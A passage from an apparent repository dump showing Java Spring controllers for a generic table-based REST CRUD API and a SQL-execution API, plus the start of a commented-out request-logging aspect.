    "content": "package io.github.wujun728.rest.controller;\n\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.db.meta.MetaUtil;\nimport cn.hutool.db.meta.Table;\nimport cn.hutool.json.JSON;\nimport cn.hutool.json.JSONArray;\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.json.JSONUtil;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.common.exception.BusinessException;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.utils.DataSourcePool;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport io.github.wujun728.rest.service.RestApiService;\nimport io.github.wujun728.rest.util.HttpRequestUtil;\nimport io.github.wujun728.rest.util.RestUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.springframework.util.CollectionUtils;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * @author Wujun\n * @desc 通用Rest服务接口\n */\n@Slf4j\n@org.springframework.web.bind.annotation.RestController\n@RequestMapping({\"${platform.path:}/bizrest\", \"${platform.path:}/public/bizrest\"})\n//@Api(value = \"实体公共增删改查接口\")\npublic class RestApiController {\n\n    @Resource\n    RestApiService restApiService;\n\n    private String main = \"main\";\n\n    @GetMapping(path = {\"/{entityName}/list\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"返回实体数据列表\", notes = \"page与size同时大于零时返回分页实体数据列表,否则返回全部数据列表;\n    public Result list(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            String url = request.getRequestURI();\n            StaticLog.info(\"url = \"+ url);\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            List<Map<String, Object>> datas = restApiService.getList(tableName,parameters);\n            return Result.success(datas);\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n    @GetMapping(path = {  \"/{entityName}/page\" }, produces = \"application/json\")\n    //@ApiOperation(value = \"返回实体数据列表\", notes = \"page与size同时大于零时返回分页实体数据列表,否则返回全部数据列表;\n    public Result page(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            String url = request.getRequestURI();\n            StaticLog.info(\"url = \"+ url);\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            Page<Record> pages = restApiService.getPage(tableName,parameters);\n            List<Map<String, Object>> datas = RecordUtil.recordToMaps(pages.getList(),isUnderLine);\n            return Result.success(datas).put(\"count\", pages.getTotalRow()).put(\"pageSize\", pages.getPageSize()).put(\"totalPage\", pages.getTotalPage()).put(\"pageNumber\", pages.getPageNumber());\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n\n    @GetMapping(path = {\"/{entityName}/tree\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"返回实体数据列表\", notes = \"page与size同时大于零时返回分页实体数据列表,否则返回全部数据列表;\n    public Result tree(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            String url = request.getRequestURI();\n            StaticLog.info(\"url = \"+ url);\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            parameters.put(\"url\" , url);\n            List<Map<String, Object>> datas = restApiService.getTree(tableName,parameters);\n            return Result.success(datas);\n            //是否构建树 end\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n    @GetMapping(path = {\"/{entityName}/findOne\",\"/{entityName}/getOne\",\"/{entityName}/record\",\"/{entityName}/row\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"根据ID返回单个实体数据\")\n    public Result findOne(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            Table table = getTableMeta(tableName,main);\n            String primaryKey = RestUtil.getTablePrimaryKes(table);\n            List args = RestUtil.getPrimaryKeyArgs(parameters, table);\n            Record record = Db.findById(tableName, primaryKey, args.toArray());\n            if (ObjectUtil.isNotNull(record)) {\n                Map data = RecordUtil.recordToMap(record,isUnderLine);\n                return Result.success(data);\n            } else {\n                return Result.fail(\"无此ID对应的记录！\");\n            }\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n    @DeleteMapping(path = \"/{entityName}/{ids}\", produces = \"application/json\")\n    //@ApiOperation(value = \"根据id删除实体数据\" )\n    public Result delete2(@PathVariable(\"entityName\") String entityName,@PathVariable(\"ids\") String ids, HttpServletRequest request) throws Exception {\n        return delete(entityName, ids, request);\n    }\n    @RequestMapping(path = \"/{entityName}/delete/{ids}\", produces = \"application/json\")\n    //@ApiOperation(value = \"根据id删除实体数据\" )\n    public Result delete(@PathVariable(\"entityName\") String entityName,@PathVariable(\"ids\") String ids, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        try {\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            Table table = getTableMeta(tableName,main);\n            String primaryKey = \"id\";\n            Object[] argsDelete = new Object[]{} ;\n            if(StrUtil.isNotEmpty(ids)){\n                if(ids.contains(\",\")){\n                    argsDelete = ids.split(\",\");\n                }else{\n                    argsDelete = new Object[]{ids};\n                }\n            }else{\n                primaryKey = RestUtil.getTablePrimaryKes(table);\n                List args = RestUtil.getPrimaryKeyArgs(parameters, table);\n                argsDelete = args.toArray();\n            }\n            Boolean flag =   Db.deleteById(tableName, primaryKey, argsDelete);\n            if (flag) {\n                return Result.success(\"删除成功！\",flag);\n            } else {\n                return Result.fail(\"删除失败！\");\n            }\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            if (message.contains(\"Unknown column\")) {\n                throw new BusinessException(\"接口必须参数id,可选参数primaryKey，其中primaryKey中的列在数据库不存在\");\n            }\n            if (message.contains(\"number must equals id value number\")) {\n                throw new BusinessException(\"接口必须参数id,可选参数primaryKey，有多列，均使用逗号分隔，当前参数个数与值的个数不一致\");\n            }\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n\n    @PostMapping(path = {\"/{entityName}\"}, produces = \"application/json\")\n    public Result save(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) {\n        return create(entityName, request);\n    }\n    @RequestMapping(path = {\"/{entityName}/save\",\"/{entityName}/add\"}, produces = \"application/json\")\n    public Result create(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        try {\n            //return saveOrUpdate(entityName, parameters, true);\n            //Step1,校验表信息，并获取表定义及主键信息\n            String tableName = StrUtil.toUnderlineCase(entityName);\n            main = MapUtil.getStr(parameters, \"ds\",\"main\");\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            Table table = getTableMeta(tableName,main);\n            //Step2,根据表定义，获取表主键，并根据新增及修改，生成主键或者判断主键数据是否存在\n            //Step3,根据表定义，新增必填字段信息校验，并将默认或者内置字段生成默认值\n            //String primaryKey = RestUtil.getTablePrimaryKes(table);\n            Record record = new Record();\n            RestUtil.buildRecord(parameters, table, record);\n            //Step4，根据表定义拿到全部参数并生成入库的对象，并持久化并返回数据\n            Boolean isSucess;\n            RestUtil.fillRecord(record,tableName,true);\n            Record finalRecord = record;\n            isSucess = Db.save(tableName, finalRecord);\n            System.out.println(\"返回数据为：\" + JSONUtil.toJsonStr(isSucess));\n            if (isSucess) {\n                    return Result.success(\"保存成功！\",isSucess);\n            } else {\n                return Result.fail(\"新增失败\");\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            if (e.getMessage().contains(\"Duplicate\")) {\n                return Result.fail(\"数据重复，主键冲突，请联系管理员，错误信息：\" + e.getMessage());\n            }\n            if (e.getMessage().contains(\"Incorrect datetime\")) {\n                return Result.fail(\"数据格式有误，日期格式不规范(yyyy-mm-dd)\");\n            }\n            if (e.getMessage().contains(\"Data too long\")) {\n                return Result.fail(\"数据值太长，超出最大长度限制\" );\n            }\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n    @PutMapping(path = {\"/{entityName}\"}, produces = \"application/json\")\n    public Result edit(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) {\n        return update(entityName, request);\n    }\n    @RequestMapping(path = {\"/{entityName}/update\",\"/{entityName}/edit\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"更新实体数据\", notes = \"不需要更新的字段不设置或设置为空,{\\\"name\\\":\\\"tom\\\",\\\"args\\\":1}\")\n    public Result update(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        try {\n            //return saveOrUpdate(entityName, parameters, false);\n            //Step1,校验表信息，并获取表定义及主键信息\n            String tableName = StrUtil.toUnderlineCase(entityName);\n            main = MapUtil.getStr(parameters, \"ds\",\"main\");\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            Table table = getTableMeta(tableName,main);\n            //Step2,根据表定义，获取表主键，并根据新增及修改，生成主键或者判断主键数据是否存在\n            //Step3,根据表定义，新增必填字段信息校验，并将默认或者内置字段生成默认值\n            String primaryKey = RestUtil.getTablePrimaryKes(table);\n            String primaryValue = RestUtil.getParamValue(parameters, primaryKey);\n            Record record = new Record();\n            List args = RestUtil.getPrimaryKeyArgs(parameters, table);\n            record = Db.findById(tableName, primaryKey, args.toArray());\n            if (ObjectUtil.isNull(record)) {\n                return Result.fail(\"修改失败，无此ID对应的记录！\");\n            }\n            RestUtil.buildRecord(parameters,table,record);\n            //Step4，根据表定义拿到全部参数并生成入库的对象，并持久化并返回数据\n            Boolean isSucess;\n            RestUtil.fillRecord(record,tableName,false);\n            Record finalRecord1 = record;\n            //isSucess = Db.tx(() -> Db.update(tableName, finalRecord1));\n            isSucess = Db.update(tableName, finalRecord1);\n            System.out.println(\"返回数据为：\" + JSONUtil.toJsonStr(isSucess));\n            if (isSucess) {\n                    return Result.success(\"修改成功！\",isSucess);\n            } else {\n                return Result.fail(\"修改失败\");\n            }\n        } catch (Exception e1) {\n            e1.printStackTrace();\n            if (e1.getMessage().contains(\"Duplicate\")) {\n                return Result.fail(\"数据重复，主键冲突：\" + e1.getMessage());\n            }\n            if (e1.getMessage().contains(\"Incorrect datetime\")) {\n                return Result.fail(\"数据格式有误，日期格式不规范(yyyy-mm-dd)：\" + e1.getMessage());\n            }\n            if (e1.getMessage().contains(\"Data too long\")) {\n                return Result.fail(\"数据字段值太长，超出最大长度：\" + e1.getMessage());\n            }\n            String message = ExceptionUtils.getMessage(e1);\n            log.error(message, e1);\n            return Result.error(message);\n        }\n    }\n\n    /*public static void main(String[] args) {\n        System.out.println(DateUtil.currentSeconds());\n    }\n    @RequestMapping(path = {\"/module/install\"}, produces = \"application/json\")\n    public Result install(HttpServletRequest request, HttpServletResponse response) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        return Result.success(\"安装成功！\");\n    }\n    @RequestMapping(path = {\"/module/uninstall\"}, produces = \"application/json\")\n    public Result uninstall(HttpServletRequest request, HttpServletResponse response) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        return Result.success(\"卸载成功！\");\n    }*/\n    @RequestMapping(path = {\"/cache/clear\"}, produces = \"application/json\")\n    public Result cacheClear(HttpServletRequest request, HttpServletResponse response) {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        //tableCache.set(new HashMap<>());\n        return Result.success(\"缓存清理成功！\");\n    }\n\n\n\n    public static Table getTableMeta(String tableName,String ds) {\n        //Map map = tableCache.get();\n        //if (!map.containsKey(tableName)) {\n        Table table = MetaUtil.getTableMeta(DataSourcePool.get(ds), tableName);\n        //map.put(tableName, table);\n        //tableCache.set(map);\n        if (CollectionUtils.isEmpty(table.getColumns())) {\n            throw new BusinessException(\"实体对应的表不存在！\");\n        }\n        return table;\n        //}\n    }\n\n\n\n    /**\n     * 接收多层级 JSON 数据并解析\n     * @param json Hutool JSON 对象（自动接收前端传递的 JSON 数据）\n     * @return 解析后的结果\n     */\n    @PostMapping(\"/api/query\")\n    public String query(@RequestBody JSON json) {\n        // ================ 1. 基础多层级取值（核心场景） ================\n        // 示例前端传递的 JSON 数据结构：\n        // {\n        //   \"user\": {\n        //     \"basicInfo\": {\n        //       \"name\": \"张三\",\n        //       \"age\": 25,\n        //       \"address\": {\n        //         \"province\": \"广东省\",\n        //         \"city\": \"深圳市\"\n        //       }\n        //     },\n        //     \"hobbies\": [\"篮球\", \"编程\", \"阅读\"]\n        //   },\n        //   \"page\": {\n        //     \"pageNum\": 1,\n        //     \"pageSize\": 10\n        //   }\n        // }\n\n        // 关键步骤：将顶层 JSON 接口强转为 JSONObject（核心修正）\n        JSONObject rootObj = json instanceof JSONObject ? (JSONObject) json : new JSONObject();\n\n        // ================ 1. 逐层获取多层级数据 ================\n        // 第一层：获取 user 节点（JSONObject）\n        JSONObject userObj = rootObj.getJSONObject(\"user\");\n        // 第二层：获取 user.basicInfo 节点\n        JSONObject basicInfoObj = userObj == null ? new JSONObject() : userObj.getJSONObject(\"basicInfo\");\n        // 第三层：获取基础信息字段（带默认值，避免空指针）\n        String name = basicInfoObj.getStr(\"name\", \"未知\");\n        Integer age = basicInfoObj.getInt(\"age\", 0);\n\n        // 第四层：获取 user.basicInfo.address 节点\n        JSONObject addressObj = basicInfoObj.getJSONObject(\"address\");\n        String province = addressObj == null ? \"未知\" : addressObj.getStr(\"province\", \"未知\");\n        String city = addressObj == null ? \"未知\" : addressObj.getStr(\"city\", \"未知\");\n\n        // 方式2：链式取值（简洁，推荐空值时加默认值）\n        Integer pageNum = json.getByPath(\"page.pageNum\", Integer.class); // 路径取值，默认值1\n        Integer pageSize = json.getByPath(\"page.pageSize\", Integer.class);\n\n        // ================ 2. 集合/数组取值 ================\n        JSONArray hobbiesArray = userObj.getJSONArray(\"hobbies\"); // 获取数组\n        // 遍历数组\n        StringBuilder hobbies = new StringBuilder();\n        for (int i = 0; i < hobbiesArray.size(); i++) {\n            hobbies.append(hobbiesArray.getStr(i)).append(\",\");\n        }\n\n        // ================ 3. 空值安全处理（避免空指针） ================\n        // 取值时指定默认值，防止字段不存在时报错\n        String email = basicInfoObj.getStr(\"email\", \"未填写\"); // 字段不存在时返回\"未填写\"\n        Long phone = basicInfoObj.getLong(\"phone\", 0L); // 字段不存在时返回0L\n\n        // ================ 4. 结果拼接（示例） ================\n        return String.format(\n                \"姓名：%s，年龄：%d，地址：%s-%s，页码：%d，每页条数：%d，爱好：%s，邮箱：%s，手机号：%d\",\n                name, age, province, city, pageNum, pageSize, hobbies.toString().replaceAll(\",$\", \"\"),\n                email, phone\n        );\n    }\n}"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/controller/RestSqlController.java",
    "content": "package io.github.wujun728.rest.controller;\n\nimport cn.hutool.core.map.MapUtil;\nimport cn.hutool.core.util.ObjectUtil;\nimport cn.hutool.core.util.StrUtil;\nimport cn.hutool.extra.spring.SpringUtil;\nimport cn.hutool.json.JSONObject;\nimport cn.hutool.log.StaticLog;\nimport io.github.wujun728.common.base.Result;\nimport io.github.wujun728.db.record.Db;\nimport io.github.wujun728.db.record.Page;\nimport io.github.wujun728.db.record.Record;\nimport io.github.wujun728.db.utils.DataSourcePool;\nimport io.github.wujun728.db.utils.RecordUtil;\nimport io.github.wujun728.rest.service.RestSqlService;\nimport io.github.wujun728.rest.util.HttpRequestUtil;\nimport io.github.wujun728.sql.entity.ApiSql;\nimport io.github.wujun728.sql.utils.JdbcUtil;\nimport lombok.extern.slf4j.Slf4j;\nimport org.apache.commons.lang3.exception.ExceptionUtils;\nimport org.springframework.web.bind.annotation.*;\n\nimport javax.annotation.Resource;\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpServletResponse;\nimport javax.sql.DataSource;\nimport java.sql.Connection;\nimport java.sql.SQLException;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.stream.Collectors;\n\n/**\n * @author Wujun\n * @desc 通用Rest Sql服务接口\n */\n@Slf4j\n@RestController\n@RequestMapping({\"/bizapis\"})\n//@RequestMapping({\"${platform.path:}/apis\"})\n//@Api(value = \"实体公共增删改查接口\")\npublic class RestSqlController {\n\n    private String main = \"main\";\n\n     //@PostConstruct\n     void init(){\n         DataSource dataSource = SpringUtil.getBean(DataSource.class);\n         if(ObjectUtil.isNotEmpty(dataSource)){\n             Db.init(main,dataSource);\n         }\n     }\n\n    @Resource\n    RestSqlService restSqlService;\n\n\n    @GetMapping(path = {\"/{entityName}/init\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"返回实体数据列表\", notes = \"page与size同时大于零时返回分页实体数据列表,否则返回全部数据列表;\n    public Result init(@PathVariable(\"entityName\") String entityName, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            String url = request.getRequestURI();\n            StaticLog.info(\"url = \"+ url);\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n            restSqlService.init(tableName,parameters);\n            return Result.success(\"接口初始化成功\");\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n    @RequestMapping(path = {\"/run/{id}\"}, produces = \"application/json\")\n    public Result apiExecuteNew(@PathVariable String id ,HttpServletRequest request, HttpServletResponse response) throws SQLException {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        Map<String, ApiSql> apiSqlMap = getApiSqlMap();\n        String pathNew = id;\n        if(apiSqlMap.containsKey(pathNew)){\n            ApiSql apiSql = apiSqlMap.get(pathNew);\n            // *********************************************************************\n            Object data = restSqlService.doSQLProcess(apiSql, parameters);\n            return Result.success(data);\n            // *********************************************************************\n        }else{\n            return Result.error(\"执行的接口不存在\" );\n        }\n    }\n    @RequestMapping(path = {\"/page/{id}\"}, produces = \"application/json\")\n    public Result apiExecutepage(@PathVariable String id ,HttpServletRequest request, HttpServletResponse response) throws SQLException {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        Map<String, ApiSql> apiSqlMap = getApiSqlMap();\n        String pathNew = id;\n        if(apiSqlMap.containsKey(pathNew)){\n            ApiSql apiSql = apiSqlMap.get(pathNew);\n            // *********************************************************************\n            Integer page = MapUtil.getInt(parameters, \"page\");\n            if ((page == null || page == 0)  ) {\n                page = 1;\n            }\n            Integer limit = MapUtil.getInt(parameters, \"limit\");\n            if ( (limit == null || limit == 0)) {\n                limit = 10;\n            }\n            parameters.put(\"dataScope\",\"\");\n            Page<JSONObject> pages = JdbcUtil.executeQueryPage(DataSourcePool.getConnection(main),apiSql.getText(),parameters,page,limit);\n            return Result.success(pages.getList()).put(\"count\", pages.getTotalRow()).put(\"pageSize\", pages.getPageSize()).put(\"totalPage\", pages.getTotalPage()).put(\"pageNumber\", pages.getPageNumber());\n            // *********************************************************************\n        }else{\n            return Result.error(\"执行的接口不存在\" );\n        }\n    }\n    @RequestMapping(path = {\"/list/{id}\"}, produces = \"application/json\")\n    public Result apiExecutelist(@PathVariable String id ,HttpServletRequest request, HttpServletResponse response) throws SQLException {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        Map<String, ApiSql> apiSqlMap = getApiSqlMap();\n        String pathNew = id;\n        if(apiSqlMap.containsKey(pathNew)){\n            ApiSql apiSql = apiSqlMap.get(pathNew);\n            // *********************************************************************\n            List<Map<String, Object>> datas = JdbcUtil.query(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n            return Result.success(datas);\n            // *********************************************************************\n        }else{\n            return Result.error(\"执行的接口不存在\" );\n        }\n    }\n    @RequestMapping(path = {\"/execute/{id}\"}, produces = \"application/json\")\n    public Result apiExecuteexecute(@PathVariable String id ,HttpServletRequest request, HttpServletResponse response) throws SQLException {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n        Map<String, ApiSql> apiSqlMap = getApiSqlMap();\n        String pathNew = id;\n        if(apiSqlMap.containsKey(pathNew)){\n            ApiSql apiSql = apiSqlMap.get(pathNew);\n            // *********************************************************************\n            int flag = JdbcUtil.update(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n            if(flag>0){\n                return Result.success(true);\n            }else{\n                return Result.fail();\n            }\n            // *********************************************************************\n        }else{\n            return Result.error(\"执行的接口不存在\" );\n        }\n    }\n\n    private Map<String, ApiSql> getApiSqlMap() {\n        List<Record> apiSqls1 = Db.use(main).find(\" select * from api_sql \");\n        List<ApiSql> apiSqls = RecordUtil.recordToBeans(apiSqls1,ApiSql.class);\n        List<Map<String, Object>> mapDatas = RecordUtil.recordToMaps(apiSqls1);\n        Map<String, ApiSql> apiSqlMap = apiSqls.stream().collect(Collectors.toMap(i->i.getId(), i->i));\n        return apiSqlMap;\n    }\n\n\n    @RequestMapping(path = {\"/{entityName}/{action}\"}, produces = \"application/json\")\n    //@ApiOperation(value = \"返回实体数据列表\", notes = \"page与size同时大于零时返回分页实体数据列表,否则返回全部数据列表;\n    public Result list(@PathVariable(\"entityName\") String entityName,@PathVariable(\"action\") String action, HttpServletRequest request) throws Exception {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        String tableName = StrUtil.toUnderlineCase(entityName);\n        Boolean isUnderLine = entityName.equals(tableName);\n        try {\n            String url = request.getRequestURI();\n            StaticLog.info(\"url = \"+ url);\n            parameters.put(\"entityName\" , entityName);\n            parameters.put(\"tableName\" , tableName);\n\n            String sqlType = action;\n            String path = \"/\"+entityName+\"/\"+sqlType;\n            Record apiSql1 = Db.use(main).findById(\"api_sql\",\"path\",path);\n            ApiSql apiSql = RecordUtil.recordToBean(apiSql1,ApiSql.class);// Db.use(main).findBeanById(ApiSql.class,\"path\",path);\n            if(ObjectUtil.isNotEmpty(apiSql)){\n                if(\"one\".equalsIgnoreCase(action)  || \"list\".equalsIgnoreCase(action)  || \"query\".equalsIgnoreCase(action) ){\n                    List<Map<String, Object>> datas = JdbcUtil.query(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n                    return Result.success(datas);\n                }else if( \"page\".equalsIgnoreCase(action) ){\n                    Integer page = MapUtil.getInt(parameters, \"page\");\n                    if ((page == null || page == 0)  ) {\n                        page = 1;\n                    }\n                    Integer limit = MapUtil.getInt(parameters, \"limit\");\n                    if ( (limit == null || limit == 0)) {\n                        limit = 10;\n                    }\n                    Page<JSONObject> pages = JdbcUtil.executeQueryPage(DataSourcePool.getConnection(main),apiSql.getText(),parameters,page,limit);\n                    return Result.success(pages.getList()).put(\"count\", pages.getTotalRow()).put(\"pageSize\", pages.getPageSize()).put(\"totalPage\", pages.getTotalPage()).put(\"pageNumber\", pages.getPageNumber());\n                }else if(\"insert\".equalsIgnoreCase(action) || \"update\".equalsIgnoreCase(action)  || \"delete\".equalsIgnoreCase(action)){\n                    int flag = JdbcUtil.update(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n                    if(flag>0){\n                        return Result.success(true);\n                    }else{\n                        return Result.fail();\n                    }\n                }if(\"count\".equalsIgnoreCase(action)){\n                    Long datas = JdbcUtil.count(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n                    return Result.success(datas);\n                }\n                else {\n                    Object obj = JdbcUtil.executeSql(DataSourcePool.getConnection(main),apiSql.getText(),parameters);\n                    return Result.success(obj);\n                }\n            }else{\n                return Result.error(\"接口[\"+path+\"]不存在\");\n            }\n        } catch (Exception e) {\n            String message = ExceptionUtils.getMessage(e);\n            log.error(message, e);\n            return Result.error(message);\n        }\n    }\n\n\n\n    @Deprecated\n    @RequestMapping(path = {\"/run1/{path}\"}, produces = \"application/json\")\n    public Result apiExecute(@PathVariable String path ,HttpServletRequest request, HttpServletResponse response) throws SQLException {\n        Map<String, Object> parameters = HttpRequestUtil.getAllParameters(request);\n        main = MapUtil.getStr(parameters, \"ds\",\"main\");\n//        List<Record> records  = Db.findBySql(ApiSql.class,\" select * from api_sql \");\n//        List<ApiSql> apiSqls = RecordUtil.recordToListBean(records, ApiSql.class);\n        List<Record> apiSqls1 = Db.use(main).find(\" select * from api_sql \");\n        List<ApiSql> apiSqls = RecordUtil.recordToBeans(apiSqls1,ApiSql.class);\n        //Db.use().findBeanList(ApiSql.class,\" select * from api_sql \");\n        Map<String, ApiSql> apiSqlMap = apiSqls.stream().collect(Collectors.toMap(i->i.getPath(), i->i));\n        if(apiSqlMap.containsKey(path)){\n            //Object obj = restApiService.doSQLProcess(apiSqlMap.get(path), parameters);\n            Connection connection = Db.use(main).getDataSource().getConnection();\n            Object obj = JdbcUtil.executeSql(connection, String.valueOf(apiSqlMap.get(path)), parameters);\n            return Result.success(obj);\n        }else{\n            return Result.error(\"执行的接口不存在\" );\n        }\n    }\n\n\n}\n"
  },
  {
    "path": "jun_springboot_starter/jun-groovy-api/src/main/java/io/github/wujun728/rest/filter/RequestLogAspect.java",
    "content": "//package io.github.wujun728.rest.filter;\n//\n//import cn.hutool.core.util.StrUtil;\n//import lombok.RequiredArgsConstructor;\n//import lombok.extern.slf4j.Slf4j;\n//import net.trueland.scrm.common.constant.WebConsts;\n//import net.trueland.scrm.common.context.auth.CrmUserInfoContext;\n//import net.trueland.scrm.common.context.threadlocal.ThreadLocalHelper;\n//import net.trueland.scrm.common.context.web.WebRequestContext;\n//import net.trueland.scrm.common.model.auth.Base;\n//import net.trueland.scrm.common.web.property.ScrmRequestProperties;\n//import org.aspectj.lang.ProceedingJoinPoint;\n//import org.aspectj.lang.annotation.Around;\n//import org.aspectj.lang.annotation.Aspect;\n//import org.springframework.core.annotation.Order;\n//\n//import static cn.hutool.core.text.CharSequenceUtil.isNotBlank;\n//import static java.util.Objects.nonNull;\n//import static org.springframework.core.Ordered.HIGHEST_PRECEDENCE;\n//\n///**\n// * 请求日志打印\n// */\n//@Slf4j\n//@Aspect\n//@Order(HIGHEST_PRECEDENCE)\n//@RequiredArgsConstructor\n//public class RequestLogAspect {\n////    private final ScrmRequestProperties scrmRequestProperties;\n//    /**\n//     * 这个线程变量标记用来避免controller#method调controller#method（可能性比较小）重复打印请求日志的情况\n//     */\n//    private static final String HAS_LOGGED_THREAD_KEY = \"RequestLogAspect_Log_Sign\";\n//\n//    @Around(\"execution(* net.trueland..*(..))  && @within(org.springframework.web.bind.annotation.RequestMapping) \"\n//            + \"&& (execution(@(@org.springframework.web.bind.annotation.RequestMapping *) * *(..)) \"\n//            + \" || @annotation(org.springframework.web.bind.annotation.RequestMapping))\")\n//    public Object aroundRequestMapping(ProceedingJoinPoint joinPoint) throws Throwable {\n//        if (StrUtil.isBlank(WebRequestContext.getRequestURI())){\n//            log.trace(\"no requestUri!\");\n//            return joinPoint.proceed();\n//        }\n//        boolean logSign = !hasLogged() && scrmRequestProperties.getLog()\n//                .getUriPatterns()\n//                .stream()\n//                .anyMatch(p -> WebConsts.DEFAULT_ANT_PATH_MATCHER.match(p, WebRequestContext.getRequestURI())) && scrmRequestProperties.getLog()\n//                .getIgnoreUriPatterns()\n//                .stream()\n//                .noneMatch(p -> WebConsts.DEFAULT_ANT_PATH_MATCHER.match(p, WebRequestContext.getRequestURI()));\n//\n//        long startTime = System.currentTimeMillis();\n//        if (logSign)\n//            log.info(assembleRequestMessage());\n//        ThreadLocalHelper.put(HAS_LOGGED_THREAD_KEY, 